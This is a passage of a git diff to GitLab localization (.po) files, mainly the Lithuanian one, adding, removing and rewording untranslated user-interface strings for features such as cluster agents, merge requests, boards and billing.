msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index 3cb2a8d88fc..a947780e8ca 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -373,6 +377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -464,6 +475,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -537,6 +555,12 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -623,6 +647,13 @@ msgstr[3] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -851,7 +882,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -905,6 +936,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -939,9 +973,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -966,6 +997,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1050,9 +1087,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1298,6 +1335,13 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1347,6 +1394,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1702,9 +1752,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2179,12 +2217,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2227,6 +2271,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2319,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2341,6 +2388,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2386,9 +2436,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2431,7 +2478,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2440,7 +2487,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3772,6 +3828,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3931,6 +3990,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4154,6 +4219,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4909,6 +4980,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5010,6 +5084,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6715,10 +6825,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6769,9 +6879,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7473,6 +7583,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7515,12 +7628,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7824,15 +7994,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8007,12 +8177,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8337,6 +8498,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8487,6 +8651,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10000,6 +10176,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10033,9 +10212,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
